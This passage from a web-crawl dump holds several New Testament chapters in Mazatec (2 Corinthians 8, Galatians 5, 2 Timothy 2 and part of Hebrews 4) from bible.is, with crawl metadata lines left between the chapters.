a̱'ta 'tse̱ Cristo, nga tjín‑no 'én kó'sín nakjoá, ko̱ nga tjín‑no kjoa̱chji̱ne̱, ko̱ nga titsa̱jnanda‑no nga ma si̱itjasòn kjoa̱ ra nda tjín, ti̱'koa̱ nga tjín‑no kjo̱tsjacha ra a̱'ta tsa̱ji̱n; 'koa̱á ti̱'sín machjeén nga ti̱'koa̱ katama‑no 'tio̱o jè kjo̱nda ra̱kìi̱. 8Mì tsa jngo kjo̱téxoma tíbiné‑no 'kia̱ nga ko̱'sín tíxin‑no. Jé ra mejèn‑na nga jcha̱‑la̱ a kixi̱ kitií kjoa̱ nga tjín‑no kjo̱tsjacha, koni 'sín nga 'ñó tjín‑la̱ kjo̱tsjacha jñà xi̱ta̱ ra i'ka nga síxátíya‑la̱ ijo‑la̱ nga tsjá kjo̱tjò‑la̱. 9Ijyeé 'ya‑nájiòn jè kjo̱nda‑la̱ Jesucristo ra tíjna ítjòn‑ná nga ta nga̱tjì‑la̱ nga 'ñó kjotsjake‑najiòn, xi̱ta̱ i̱ma̱á ki'sìn ijo‑la̱, ni̱'sín xi̱ta̱ nchi̱ná kjòn‑ni ra jè, mé‑ni nga koni 'sín nga xi̱ta̱ i̱ma̱ kjomà ra jè, tsa̱jión 'kín‑la kjoa̱nchi̱ná ra tjín‑la̱. 10Tsjaá‑no kjo̱bítsjen‑na̱ ra a̱'ta 'tse̱ kjoa̱ kìi̱, nga̱ kjeèn‑no ndi̱yá; jiòn ra tsikì'tsia̱à nga ko̱'sín ki'nià a̱'ta 'tse̱ kjoa̱ kìi̱, mì tsa ta mejèn‑no nga tsikì'tsia̱à, skanda 'ñó kjomejèn‑no tsi'kiò, skanda ti̱'kia̱‑ni ni̱chjin jngo inó. 11Ti̱kjehe'tin‑la ijo‑no nga 'kio̱ò 'ndi̱‑ni̱, koni 'sín nga 'ñó tsja tjín‑no nga mejèn‑no tsi'kiò, 'koa̱á ti̱'sín ti̱hitjasòn nga 'tio̱o kjo̱tjò‑no koni 'ki nchrabájin inìma̱‑no. 12Tsa jngo xi̱ta̱ tíjnanda nga inìma̱‑la̱ nchrabájin‑ni nga mejèn‑la̱ tsjá, Nainá sasén‑la̱ koni 'ki ra ma ra 'sín, mì tsa tsato tíníjé‑la̱. 13Mì tsa jè ra mejèn‑la̱ Nainá nga katasíjchija'ta‑najiòn 'kia̱ nga ki̱si̱ko̱ jiòn jñà xi̱ta̱ ra i'kaa̱, jé‑ní nga ngásòn ngáya kata'se‑ná nga'tsì‑ná ta mé ra machjeén‑ná. 14Kó'ki tjín‑najiòn 'ndi̱ 'ndi̱, 'ti̱‑la jiòn koni 'ki chija'ta‑la̱, mé‑ni 'kia̱ nga jiòn ra si̱ìjchija'ta‑najiòn, ti̱'koa̱á jñá tsjá‑no kó'ki 'se̱‑la̱, mé‑ni nga ngásòn ngáya 'se̱‑no mé ra ko̱chjeén‑no. 15Koni 'sín nga tíchja̱ Xa̱jo̱n‑la̱ Nainá nga tsò: \"Jè ra kjìn tsikíxkó, mì tsa mé ra tsijnengi‑la̱; ko̱ jè ra chiba tsikíxkó, mì tsa mé ra ichija'ta‑la̱.\" 16Tse kjo̱nda kata'se‑la̱ Nainá, nga 'koa̱á ti̱'sín isíkíjna inìma̱‑la̱ Tito nga ko̱'sín isíkájno‑te ra a̱'ta tsa̱jiòn koni 'sín nga kjókájno‑na ra 'a̱n. 17Kixi̱í kjoa̱ jè Tito kjokjiín‑la̱ koni 'sín nga tsiki'tiáa̱n; tanga jè, 'ñó kjomejèn ko̱ 'sa̱‑la̱ nga ikatsíjen‑najiòn ko̱ ngi ta kjo̱nda 'tse̱‑ní nga ko̱'sín tífìkatsíjen‑najiòn ra jè. 18Ya̱á ta̱ña i̱nchinìkasén‑ko̱‑ji̱n jè Tito, jngo 'ndsé ra ijye nda na'yá‑la̱ ya̱ a̱jin‑la̱ nga'tsì na̱xi̱ndá‑la̱ Cristo nga kó'sín tísíxáko̱ jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo. 19Ko̱ mì tsa ki‑nì nga ijye nda 'yaxkon‑la̱, jñà sabá xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra ko̱'sín tsjahíjin mé‑ni nga ta̱ña i̱ko̱‑naji̱n, 'kia̱ nga kongíko̱‑ji̱n kjo̱tjò ra ji̱n i̱nchibíxkó‑ji̱n, mé‑ni nga jè Na̱'ín‑ná isa̱ jeya katijna‑nì, ko̱ nda kata'ya‑la̱ nga ya̱á nchrabájin‑ni ya̱ inìma̱‑na̱ji̱n nga ko̱'sín 'nià‑ji̱n. 20'Koa̱á 'sín ko̱ma‑ni nga mì yá xi̱ta̱ 'cho ki̱tso̱‑naji̱n a̱'ta 'tse̱ kjo̱tjò ra nda 'ki tjín‑ni ra ji̱n i̱nchibíxkó‑ji̱n. 21Jè ra mejèn‑naji̱n nga mì tsa ta ya̱ ngixko̱n Na̱'ín‑ná kixi̱ katana'yá‑naji̱n, ti̱'koa̱á kixi̱í katana'yá‑te‑naji̱n ya̱ ngixko̱n xi̱ta̱. 22Ìjngo‑isa 'ndsé ya̱ ta̱ña i̱nchinìkasén‑ko̱‑ji̱n jè Tito, ra kjokjìn kjoa̱ 'ya‑ji̱n nga bínè‑la̱ ijo‑la̱, ko̱ isa̱á 'ñó bínè‑la̱ ijo‑la̱ 'ndi̱ 'ndi̱ 'kia̱ nga ko̱'sín ijye nda bá'ta ikon‑no ra jiòn. 23Ra jè Tito, ya̱á ta̱ña báhijtako̱‑na ra jè, ko̱ ta̱ñaá níxá‑ji̱n ra a̱'ta tsa̱jiòn; a̱'ta 'tse̱ 'ndsé ra i'ka ra jò ma‑ni, jñá xi̱ta̱ na̱xi̱ndá‑la̱ Cristo isìkasén ra jñà, nga̱ ra a̱'ta 'tse̱ jñà xi̱ta̱ kìi̱, jé Cristo jeya bijna. 24Mé‑ni nga nda katabe‑ni nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, nda ti̱ko̱o jiòn jñà xi̱ta̱ kìi̱ nga ta̱kón‑la kó'ki kjo̱tsjacha tjín‑no ra a̱'ta 'tse̱, mé‑ni nga ske̱‑ni ra jñà nga 'én kixi̱‑ní koni 'sín nga nda nakjoá‑ji̱n ra a̱'ta tsa̱jiòn.\n2 Corintios 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/8","date":"2013-12-06T22:11:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052712\/warc\/CC-MAIN-20131204131732-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":710,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.324,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Cristo jngó kjá isíkítsa̱jnandi̱í‑ná a̱'ta 'tse̱ kjo̱téxoma‑la̱ Moisés; 'koa̱á 'sín xian‑no nga kixi̱ ti̱tsa̱jna jiòn koni 'sín nga ijye isíkítsa̱jnandi̱í‑no jè Cristo; kì ti̱ ya̱ mangítji̱ngi india‑la jè kjo̱téxoma ra itsabá'ñó‑no nga ti̱'sa̱ kjotseé 'kia̱ nga chi̱'nda'ñó‑la̱ kjomà jiòn. 2'A̱n ra 'mì‑na Pablo, ti̱ná'yá‑ná, 'koa̱á 'sín tíxin‑no; tsa kí'ta chi̱ba̱‑isa jiòn ijo‑no ra kjoa̱ 'tse̱ circuncisión, mì ti̱ mé kjo̱nda sa̱kò‑no ra a̱'ta 'tse̱ Cristo. 3'Koa̱á 'sín tíxian india‑no, nga'tsì xi̱ta̱ ra bí'ta chi̱ba̱ ijo‑la̱ ra kjoa̱ 'tse̱ circuncisión, kjo̱'ñó tjínè‑la̱ nga si̱hitjasòn ijye koni 'sín tjín kjo̱téxoma. 4Jiòn ra ko̱'sín mejèn‑no nga a̱'ta 'tse̱ kjo̱téxoma, kixi̱ ki̱tsa̱jna ya̱ ngixko̱n Nainá, ijyeé tsincha'taxìn‑la jè Cristo ko̱ ijyeé tsincha'taxìn‑te‑la jè kjo̱nda ra tsjá kjo̱tjò‑ná Nainá. 5Tanga ra ji̱n, a̱'ta 'tse̱é jè Inìma̱ Tsje‑la̱ Nainá i̱nchichiñá‑la̱ji̱n nga ma kixi̱ ki̱tsa̱jna‑ji̱n ya̱ ngixko̱n Nainá ta nga̱tjì‑la̱ nga makjiín‑naji̱n a̱'ta 'tse̱ Cristo. 6Tanga ra a̱'ta 'tse̱ Cristo Jesús, mì tsa ti̱jè ma‑ni kinda̱ a tjí'ta chi̱ba̱á o̱ ra mí tsa tjí'ta chi̱ba̱ ijo‑la̱ xi̱ta̱ ra kjoa̱ 'tse̱ circuncisión; ta jé ra ma kinda̱ kó'sín nga makjiín‑ná a̱'ta 'tse̱ Cristo ko̱ kó'sín nga tjín‑ná kjo̱tsjacha. 7Ndaá ndi̱yá i̱nchimangí jiòn tsiki; yá ra tsatéchjà‑no nga mì ti̱ nihitjasòn‑no 'én nda‑la̱ Nainá ra ngi kjo̱hixi̱. 8Jñà kjo̱bítsjen kìi̱, mì tsa ya̱ nchrabá‑ni a̱'ta 'tse̱ Nainá ra xá kiìchja̱‑najiòn. 9Ti̱kinda̱ ko̱sa̱‑no ijo‑no, nga̱ \"ni̱'sín ta i̱tsé‑ni na̱'yo̱ san ra koa̱ájin‑la̱ jè na̱'yo̱ ra ma ni̱ño̱ nchra̱jín, sísan ijye‑ní ni̱'sín takó tse ma‑ni na̱'yo̱.\" 10'A̱n, 'koa̱á 'sín ba'tá ikon Nainá nga mì tsa kj'ií kjo̱bítsjen kji̱nchrabà‑najiòn koni 'sín nga kíxian‑no. Tanga jè Nainá tsjá‑la̱ kjo̱hi'in jè xi̱ta̱ ra tísíkitsón‑jin‑najiòn, ni̱'sín ta yá xi̱ta̱‑nì. 11Jiòn 'ndsé ko̱ tichjeé, tsa takó 'koa̱à‑la 'sín tí'bènájmíya ra 'a̱n, nga machjeén‑ní nga katasi'ta chi̱ba̱ ijo‑la̱ xi̱ta̱ ra kjoa̱ 'tse̱ circuncisión, mí‑la tsa ko̱'sín koa̱àtji̱ngi‑na jñà xi̱ta̱ judío, nga̱ mì tsa mé ra 'cho ki̱ya‑la̱ koni 'sín tsò 'én ra 'a̱n 'benájmíya a̱'ta 'tse̱ Cristo 'kia̱ nga isi'ta krò ra jè. 12Tsa jngó kjá ngi katabate'tá jnchro ijo‑la̱ xi̱ta̱ kìi̱, jñà ra ko̱'sín síkitsón‑jin‑najiòn nga tsò‑no nga machjeén‑ní nga si'ta chi̱ba̱ ijo‑no ra kjoa̱ 'tse̱ circuncisión. 13Jiòn 'ndsé ko̱ tichjeé, kií xá inakjoá‑najiòn nga ki̱tsa̱jnandi̱í jiòn, tanga ni̱'sín titsa̱jnandi̱í jiòn kì tà chjàn ko̱'sín 'nià koni 'sín tjín kjoa̱ ra mejèn‑la̱ ijo‑no; jè ra machjeén nga ti̱si̱ko̱ kañá jiòn xàngio̱o ko̱ nga kata'se‑no kjoa̱tsjacha nga jngó jngó‑no. 14Nga̱ nga'tsì kjo̱téxoma ra kitsjà Nainá ya̱á bitjasòn ijye a̱'ta 'tse̱ jè ra tsò: \"Ko̱'sín tsjacha 'ti̱ìn jñà xi̱ta̱ xàngi̱i koni 'sín nga tsjachi ijo‑li.\" 15Tanga tsa ti̱jiòn i̱nchichinejin i̱nchichine'a‑no xàngio̱o, ti̱kinda̱a ijo‑no nga̱ ki̱jchó ni̱chjin nga ti̱jiòn si̱kitsón‑no xàngio̱o tsa ko̱'sín 'nià. 16'Koa̱á 'sín tíxian‑no: Ti̱'nde‑la nga jè Inìma̱ Tsje‑la̱ Nainá nda kjón ndi̱yá katafìko̱‑no, mé‑ni nga mì ya̱ koa̱àtji̱ngi‑la kjoa̱'cho ra síjé ijo‑no. 17Jñà kjoa̱'cho ra síjé ijo‑ná kondra̱á fì‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. Ko̱ jñà kjoa̱ ra mejèn‑la̱ jè Inìma̱ Tsje‑la̱ Nainá kondra̱á fì‑la̱ jñà kjoa̱'cho ra mejèn‑la̱ 'sín ijo‑ná. Jñà kjoa̱ kìi̱, kjaán‑kjoó ma. 'Koa̱á ma‑ni nga jiòn, mì kì ko̱'sín 'nià jiòn koni 'sín nga mejèn‑no nga 'sia̱an. 18Tanga tsa jè Inìma̱ Tsje‑la̱ Nainá tíbasén ndi̱yá‑no nga ni̱chjin nchijòn, mì tsa ti̱jè‑ni kjo̱téxoma tíjna ítjòn‑no. 19Nga̱ tsijeén 'ya‑la̱ jñà kjoa̱'cho ra síjé ijo‑ná: koni jñà ra kjoa̱chijngi, kjoa̱'cho ra 'ñó tjé tjín, ko̱ kjoa̱ chi̱nga̱ ra 'cho níkítsjeén, 20ko̱ nga 'yaxkén nainá xkósòn, ko̱ ra kjoa̱tj'ee̱, ko̱ nga majticheé xàngie̱é, ko̱ nga bixkàn‑ke̱é xàngie̱é, ko̱ nga machi̱ni̱cheé xàngie̱é, ko̱ 'kia̱ nga ta ndi̱to̱n majti‑ná, 'kia̱ nga nachrjengieé xàngie̱é nga mejèn‑ná nga jién ki̱tsa̱jna ítjén, ko̱ nga nijòyeé xàngie̱é nga xìn maxkóyeé, 21nga maxitakòn‑cheé xàngie̱é, nga ma'chie̱é, ko̱ nga'tsì kjoa̱chrjá'a ra ma ñánda̱ nga bitjo 'sí, ko̱ nga'tsì kjoa̱ ra ya̱ mangásòn‑ko̱ jñà kjoa̱ kìi̱. 'Koa̱á 'sín tíxin‑no koni 'sín ijye a̱sa kíxin‑no nga 'sa̱ ítjòn, nga jñà xi̱ta̱ ra ko̱'sín tjín kjoa̱ ra 'sín, ni̱mé kjo̱nda tjábé‑la̱ ya̱ ñánda̱ nga jè Nainá tíbatéxoma. 22Tanga jñà kjo̱nda ra tsjá jè Inìma̱ Tsje‑la̱ Nainá, jè‑ní nga tsjacha 'sie̱én xàngie̱é, nga tsja 'se̱‑ná, nga 'nchán ki̱tsa̱jneé, nga jchíñakjoa̱‑lá xàngie̱é, nga tsjakjoa̱ 'sie̱én, ko̱ nga 'sie̱én kjoa̱nda ra nda tjín, nga kixi̱ kongíkeé kjo̱bítsjen‑ná, 23nga indakjoa̱ 'sie̱én, ko̱ nga kixi̱ ko̱te̱xoma‑lá ijo‑ná. Jñà kjoa̱ kìi̱, tsìn kjo̱téxoma ra kondra̱ tíjna‑la̱. 24Jién ra ijye xi̱ta̱‑la̱ Cristo 'mì‑ná; nga'tsì jñà kjo̱bítsjen ra 'cho tjín ko̱ jñà kjoa̱'cho ra síjé ijo‑ná, ya̱á kinì'keén ya̱ a̱'ta krò ra isitja̱'bá'ta Cristo. 25'Ndi̱‑ni̱, 'kia̱ nga a̱'ta 'tse̱ Inìma̱ Tsje‑la̱ Nainá titsa̱jnakon‑ná, ko̱'sín ko̱se̱n ndi̱yé ijo‑ná koni 'sín jè Inìma̱ Tsje‑la̱ Nainá batéxoma‑ná. 26Mì kì ki̱'ndeé nga jè kjoa̱'ngatakòn katasíkijne‑ná nga si̱jticheé xàngie̱é ko̱ nga ko̱chi̱ni̱cheé xàngie̱é.\nGálatas 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/5","date":"2013-12-11T19:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164044912\/warc\/CC-MAIN-20131204133404-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":745,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱ Timoteo koni tsà ki'ndí ts'a̱n xan‑lè, tjiì‑la̱ nga'ñó yijo‑lè i̱t'aà ts'e̱ kjo̱ndaà xi tsjá Jesucristo nga jè titsa̱jnakoa̱á. 2Jè 'én xi kina'yà‑ná nga kichjàya nguixko̱n nga kjìn ma xi̱ta̱ xi kiì'nchré, k'oa̱á s'ín ta̱kóya‑la̱ xi xi̱ta̱ kixi̱ xi ndaà ma‑la̱ okóya mé‑ne k'oa̱ ti̱s'ín ko̱kòya ngajo‑la̱ xi̱ta̱ xi kj'ei̱í. 3Ngaji̱ Timoteo, ti̱kjeiín‑ko̱‑ná kjo̱'in nga ndaà mìt'aà‑la̱ Jesucristo koni jngoò soldado xi síkjeiín kjo̱'in. 4Jngoò xi̱ta̱ xi soldado síkitasòn mìkiì tjí'nde‑la̱ nga kj'ei̱í xá skóngajiìn xi tjín i̱sò'nde, tjínè‑la̱ nga ya̱ si̱kitasòn‑la̱ jè xi kitsjaà‑la̱ xá mé‑ne nga ndaà kíjnako̱. 5K'oa̱á ti̱s'ín tjín jè ts'e̱ xi̱ta̱ xi síská. Tsà mì kixi̱í si̱ìská koni s'ín tjín kjo̱tíxoma‑la̱ mìkiì tjoé‑la̱ chjí‑la̱. 6Xi̱ta̱ xi bínè‑la̱ yijo‑la̱ nga ndaà síxá nga bítje̱ tsojmì tjè, k'e̱ nga jye ko̱jchá tsojmì, jè tjoé ítjòn chiba‑la̱ tsojmì xi majchá koni tsà chjí‑la̱. 7Ti̱kítsjiìn koni s'ín tìxan‑lè. Jè Nainá ìsa̱ ndaà tsjáya yije‑lè kjo̱hítsjeèn. 8Ti̱kítsjiìn i̱t'aà ts'e̱ Jesucristo, jè xi jaáyajiìn‑la̱ mik'en xi tje̱‑la̱ xi̱ta̱xá ítjòn xi David ki'mì. K'oa̱á tsò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya. 9Koií kjoa̱‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi 'a̱n chjàya, tìsìkjiaán kjo̱'in skanda na'ñó ki̱cha̱ tjít'aà'ñoá nga tìjna̱'ya nda̱yá koni jngoò xi̱ta̱ xi 'ñó ts'e̱n. Ta̱nga jè 'én‑la̱ Nainá mìtsà tjít'aà'ñó i̱ya nda̱yá. 10Koií kjoa̱‑la̱ tìsìkjiaán yije kjo̱'in xi kjo̱ndaà ts'e̱ xi̱ta̱ xi xó jaàjiìn‑ne Nainá mé‑ne nga ti̱koa̱ ki̱tjokàjiìn‑ne kjo̱'in xi i̱t'aà ts'e̱ Cristo Jesús; s'e̱é‑la̱ kjoa̱jeya xi mìkiì fehet'aà ni̱ta̱ kjé‑ne. 11'Én koi, 'én kixi̱‑ne nga tsò: Nga ya̱ k'en‑koa̱á Cristo, ti̱koa̱á ya̱á ki̱tsa̱jnakon‑koa̱á. 12Tsà chíkjoa̱‑ná kjo̱'in ti̱koa̱á ya̱á ko̱ti̱xomakoa̱á Cristo. Tsà kixoán mìkiì bexkoan, jè k'oa̱á ti̱ ki̱tso̱‑ná mìkiì bexkoan. 13Tsà mìkiì si̱kitasoán 'én xi nokjoá, ta̱nga Nainá síkitasòn 'én xi chja̱. Mìkiì ko̱ma si̱ìkjatjìya 'én‑la̱. 14Ti̱kítsjeèn‑la̱ kjoa̱ koi. Ti̱nókjoa̱koi̱i nga nguixko̱n Nainá mé‑ne nga mì ko̱hótiya‑ne kjoa̱ ts'e̱ 'én. Jè kjoa̱ xi chitiya‑ne ni̱mé chjí‑la̱. Ta̱ sa̱á síkits'ón xi̱ta̱ xi 'nchré. 15'Ñó ndaà tjínè‑la̱ yijo‑lè mé‑ne nga ndaà ki̱jna‑ne nga nguixko̱n Nainá. Ni̱mé xi ko̱sobà‑lè nga ndaà tjín xá‑lè koa̱ ndaà okoòyi 'én kixi̱‑la̱ Cristo. 16Kì ta̱xki̱ nokjoà‑jèn 'én xi mìkiì sasén‑la̱ Nainá xi ni̱mé chjí‑la̱. Jñà xi̱ta̱ xi k'oa̱s'ín chja̱, ìsa̱á 'ñó binchat'aàxìn‑ìsa‑la̱ Nainá. 17Jñà 'én xi ch'o tsò k'oa̱á ngaya‑la̱ koni ch'in nchikòn xi bi'ndo‑ne yijo‑ná. K'oa̱á s'ín chja̱ Himeneo ko̱ Fileto 18nga jyeé chinchat'aàxìn‑la̱ xi kjoa̱kixi̱ nga tsò: \"Jè kjoa̱ xi faáya‑la̱ mik'en jyeé tsato‑né.\" K'oa̱á ma‑ne sískáya i'nga‑la̱ xi̱ta̱ kjoa̱ xi mokjeiín‑la̱. 19Ta̱nga Nainá jyeé tsibíjna'ñó tàts'en jngoò kjoa̱kixi̱ ñánda tjít'aà 'én xi tsò: \"Nainá beèxkon‑né xi xi̱ta̱ ts'e̱\"; ngats'iì xi tsò: \"'A̱n, xi̱ta̱‑la̱ Cristo‑ná, kàtinchat'aàxìn‑la̱ kjoa̱ xi ch'o tjín.\" 20Jngoò ni'ya xi je kji, tjín tsojmì xi oro ko̱ plata. Ti̱koa̱á tjín tsojmì xi yá ko̱ xi ni'nde. Tjín tsojmì xi na̱chrjein nchijòn mochjeén koa̱ tjín xi tà k'e̱ mochjeén k'e̱ nga ndaà tíma. 21Tsà si̱tsjeé kjo̱hítsjeèn‑ná nga ki̱nchat'aàxìn‑lá kjoa̱ xi ch'o tjín, k'oa̱á s'ín si̱ìkjeén‑ná Nainá koni tsojmì tsjeè xi tà k'e̱ mochjeén k'e̱ nga ndaà tíma. Titsa̱jnandaà nga si̱kitasoán ni̱ta̱ mé xá‑la̱ Nainá xi ndaà tjín. 22Ngaji̱ Timoteo, ti̱si̱t'aàxìn‑la̱ kjo̱hítsjeèn‑la̱ i̱xti xi ch'o tjín. Koií t'in tji̱ngui‑la̱ xi kjoa̱kixi̱, ko̱ kjoa̱ xi mokjeiín‑ná i̱t'aà ts'e̱ Cristo, ko̱ kjoa̱tjòcha, ko̱ kjoa̱'nchán takòn. K'oa̱s'ín t'in tji̱ngui‑la̱ kjoa̱ koi ko̱ xi̱ta̱ xi tsjeè tjín ini̱ma̱‑la̱ nga chja̱t'aà‑la̱ Nainá. 23Kì kjoa̱ nchi̱kón nìs'in‑la̱ xi ni̱mé chjí‑la̱. Jyeé ndaà tíjiìn‑lè nga kjoa̱siì ótsji. 24Jngoò chi̱'nda‑la̱ Nainá mìkiì mochjeén nga kjoa̱siì skóngajiìn. Ndaà kàtasìko̱ yije xi̱ta̱. Kàtìjnandaà nga ko̱kòya 'én‑la̱ Nainá. Kàtas'e‑la̱ kjoa̱tsetakòn mé kjoa̱ xi mat'in. 25Ko̱ó kjo̱ndaà‑la̱ kàtasíkixi̱ya jñà xi xi̱ta̱ kondra̱, tsà koi na̱chrjein Nainá tsjá ìsa̱‑la̱ na̱chrjein nga si̱ìkájno jé‑la nga mì ti̱ jé ko̱hótsji‑ne mé‑ne nga ko̱kjeiín‑la̱ xi kjoa̱kixi̱. 26K'e̱ nga táx'a̱nguì xko̱n, ko̱maá ki̱tjokàjiìn kjoa̱na̱cha̱n‑la̱ nei̱í nga ya̱ tjít'aà'ñó‑la̱ nga k'oa̱s'ín síkitasòn‑la̱ koni s'ín mejèn‑la̱ nei̱í.\n2 Timoteo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/2","date":"2013-12-09T05:12:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163901500\/warc\/CC-MAIN-20131204133141-00063-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":27,"top_langs":"{\"maa_Latn_score\": 1.0000061988830566}","num_words":613,"character_repetition_ratio":0.057,"word_repetition_ratio":0.003,"special_characters_ratio":0.227,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nainá k'oa̱á s'ín kitsjaà‑ná 'én nga ki̱tjás'e̱én ya̱ i̱'nde‑la̱ ñánda ma nìkjáyaá. K'e̱ nga tákó tíjna‑ìsa 'én xi kitsjaà Nainá, ngats'iaá mochjeén‑né nga ndaà si̱kinda̱á yijo‑ná mì k'oa̱‑ne tsà mì kì ki̱tjás'e̱én. 2Nga jñá, k'oa̱á ti̱s'ín jye kis'eno̱jmíya‑ná 'én ndaà‑la̱ Nainá, koni s'ín kis'eno̱jmíya‑la̱ jñà xi̱ta̱ jchínga‑ná. Ta̱nga jñà xi̱ta̱ jchínga‑ná ni̱mé kjo̱ndaà kisakò‑la̱ nga mìkiì ngásòn kòkjeiín‑la̱ koni jñà xi̱ta̱ xi i'nga xi kisìtasòn jñà 'én koi. 3Ta̱nga jñá xi jye mokjeiín‑ná, ki̱tjás'e̱n‑ná ya̱ i̱'nde ñánda ma nìkjáyaá, ñánda kitsò Nainá: Xi kjoa̱ jti‑na̱, k'oa̱á s'ín kitsjaà 'én‑na̱ xi ndso̱ba kichjà‑na nga mìkiì kjoa̱has'en‑jiìn i̱'nde ts'a̱n ñánda ma nìkjáyaá. Ta̱nga Nainá jye kjòtseé jyehet'aà xá xi kis'iìn kóni skanda k'e̱ nga tsibíndaà i̱sò'nde. 4Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ ts'e̱ xi ma‑ne itoò na̱chrjein: Xi ma itoò na̱chrjein kisìkjáya Nainá nga komà jyehet'aà yije xá‑la̱. 5Ti̱jè‑ne Xo̱jo̱n‑la̱ Nainá, ìjngoò k'a tíchja̱ ñánda tsò: Mìkiì kjoa̱has'en‑jiìn ya̱ i̱'nde‑na̱ ñánda ma nìkjáya. 6Jñà xi̱ta̱ xi kiì'nchré ítjòn 'én xi ndaà tsò, mìkiì jahas'en i̱'nde ñánda ma nìkjáya nga mìkiì kisìtasòn; ta̱nga na̱chrjein i̱'ndei̱ tjín‑ìsa xi̱ta̱ xi chi̱ja nga ko̱ma kjoa̱has'en‑jiìn i̱'nde ñánda ma nìkjáya. 7Koií kjoa̱‑la̱ Nainá tsibíjna ìjngoò‑ìsa na̱chrjein xi̱tse̱, jè na̱chrjein i̱'ndei̱. Nga ìsa̱ 'ñó komà i̱skan jè xi̱ta̱xá ítjòn xi ki'mì David, k'oa̱á s'ín tsibít'aà Xo̱jo̱n‑la̱ Nainá jñà 'én xi tsò: Jñò, na̱chrjein i̱'ndei̱ tsà titsa̱na'yà 'én‑la̱ Nainá kì tájaàjiìn nìkítsa̱jnaà ini̱ma̱‑nò. 8Jè Josué, nga mìkiì komà kitsjaà‑la̱ kjoa̱ nìkjáya jñà xi̱ta̱ Israel, koií kjoa̱‑la̱ Nainá kitsjaà ìjngoò‑ìsa na̱chrjein xi̱tse̱. 9K'oa̱á ma‑ne jè na̱xa̱ndá‑la̱ Nainá tíjna ìjngoò‑la̱ na̱chrjein tsjeè ts'e̱ kjoa̱ nìkjáya; 10nga jè xi̱ta̱ xi fahas'en‑jiìn kjoa̱ nìkjáya xi ts'e̱ Nainá, ti̱koa̱á síkjáya‑ne kjoa̱ ts'e̱ xá‑la̱, koni s'ín kisìkjáya Nainá i̱t'aà ts'e̱ xá xi kis'iìn. 11Mochjeén‑né nga k'oi̱‑lá nga'ñó yijo‑ná nga ki̱tjás'e̱n‑jñaá kjoa̱ nìkjáya‑la̱ Nainá; mìkiì k'oa̱s'ín s'e̱én koni kis'iìn jñà xi̱ta̱ xi mìkiì kòkjeiín‑la̱ nga kisìkitasòn. 12'Én‑la̱ Nainá tíjnakon‑né ko̱ tjín‑la̱ nga'ñó. Ìsa̱á ndaà ote mì k'oa̱‑ne jngoò ki̱chja̱ ndojò xi yijò nga ingajò ngobà‑la̱; fahas'en‑jiìn‑né skanda ya̱ i̱jiìn ini̱ma̱‑ná ko̱ ya̱ i̱jiìn kjo̱hítsjeèn‑ná. Ti̱koa̱á fahas'en‑jiìn‑né skanda ñánda tíkjoò nindaà‑ná ko̱ i̱ya nindaà‑ná; ótsjiya‑né kjo̱hítsjeèn‑la̱ ini̱ma̱‑ná mé xi mejèn‑la̱ nga s'i̱in. 13Ngats'iì xi Nainá tsibíndaà, nì mé tjín xi tíjna'ma, nga ngats'iì kjoa̱ tíjna tsejèn‑né; tíbeè‑ne xko̱n jè xi tjínè‑la̱ nga k'oi̱‑lá kinda̱. 14Jesús xi ki'ndí‑la̱ Nainá, jè‑né xi nguì sobà no̱'miì ítjòn tíjna i̱t'aà tsa̱ján, jè‑né xi jahas'en ngajmiì nga nguixko̱n Nainá. K'oa̱á ma‑ne nga mochjeén‑né nga kixi̱ ki̱tsa̱jnakoa̱á jñà 'én xi mokjeiín‑ná. 15Jè xi no̱'miì ítjòn tíjna i̱t'aà tsa̱ján, ko̱maá ko̱hi̱ma̱keè‑ná k'e̱ nga mahindaà; nga̱ jè, k'oa̱á ti̱s'ín kichìt'aà koni jñá, ta̱nga mìtsà jé tsohótsji. 16Kíjngoò‑lá takoán nga ki̱nchat'aá chrañà‑lá íxi̱le̱ kjo̱tíxoma‑la̱ Nainá xi tse kjo̱ndaà tjín‑la̱, mé‑ne nga skoe̱ i̱ma̱‑ná kjo̱ndaà xi tjín‑la̱ koa̱ ko̱si̱ko̱‑ná k'e̱ nga mé xi ko̱chjeén‑ná.\nHebreos 